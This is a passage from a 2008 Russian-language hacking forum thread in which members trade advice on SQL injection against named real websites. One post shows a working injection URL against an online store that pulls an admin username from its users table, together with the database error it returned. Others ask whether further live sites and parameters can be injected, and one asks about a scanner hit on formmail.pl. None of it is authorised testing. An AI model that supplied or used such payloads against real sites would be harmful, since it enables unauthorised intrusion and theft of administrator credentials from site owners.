 |
|
15.04.2008, 18:20
|
|
Участник форума
Регистрация: 22.05.2006
Сообщений: 232
С нами:
10511126
Репутация:
73
|
|
плин, жаль
ок спасибо
|
|
|
15.04.2008, 18:38
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами:
10470131
Репутация:
142
|
|
Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'realkilla' to a column of data type bit
тут стопудоф надо либо 0,либо 1 (
Взял в той же последовательности, отмочил другой логин и пасс и всё равно не фурычит при запросе(мошь я туплю,но вот)
http://www.countryman.com/store/product.asp?id=1+or+1=(select+top+1+UserName+from+ users+where+Admin=1)--
Вместо 1 ставлю другие номера ( ну перебираю типо - надеюсь хоть это правильно:Р )
Последний раз редактировалось Велемир; 15.04.2008 в 18:55..
|
|
|
|
15.04.2008, 18:48
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Сообщение от Scipio
Shred, инъекция после limit при наличии order by, ничего не сделаешь
Scipio
Объясни плиз, просто я смотрел, показалось ,что вообще скули нет т.е. нет возможности как то влиять на запрос
|
|
|
|
15.04.2008, 19:00
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
http://kharkov.nezabarom.com.ua/events/Devushki-nebav-samolet!/?page=7
ну да, можно сказать и нет инъекции, просто я не так выразился, там значение page увеличивается на единицу и умножается на 10, т.е. по идее даже запрос свой не вставишь
__________________
Карфаген должен быть разрушен...
|
|
|
|
15.04.2008, 20:24
|
|
Новичок
Регистрация: 27.09.2007
Сообщений: 11
С нами:
9800721
Репутация:
4
|
|
Возможно ли проведение инъекции в такой конструкции: /index.shtml?id=41086 ?
|
|
|
|
15.04.2008, 21:01
|
|
Участник форума
Регистрация: 06.03.2008
Сообщений: 105
С нами:
9568860
Репутация:
146
|
|
сканер показал что найдена папка cgi-bin и cgi-bin/formmail.pl, пробовал в браузере зайти на них пишет что таких страниц не существует, как понимать?
|
|
|
|
15.04.2008, 21:07
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
VentRu
Если это тот сайт о котором я думаю,то не советую  |
|
|
|
15.04.2008, 21:08
|
|
Участник форума
Регистрация: 06.03.2008
Сообщений: 105
С нами:
9568860
Репутация:
146
|
|
VentRu, думаю не стоит трогать этот сайт  ))
jokester, опередил)))))
Последний раз редактировалось bag; 15.04.2008 в 21:12..
|
|
|
|
15.04.2008, 21:56
|
|
Новичок
Регистрация: 27.09.2007
Сообщений: 11
С нами:
9800721
Репутация:
4
|
|
Вы правильно думаете. Я в принципе спрашиваю. Насколько понимаю, возможна))
|
|
|
|
15.04.2008, 21:59
|
|
Участник форума
Регистрация: 25.05.2007
Сообщений: 147
С нами:
9981026
Репутация:
728
|
|
2 VentRu
А почему бы и нет ? Конечно, возможно
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
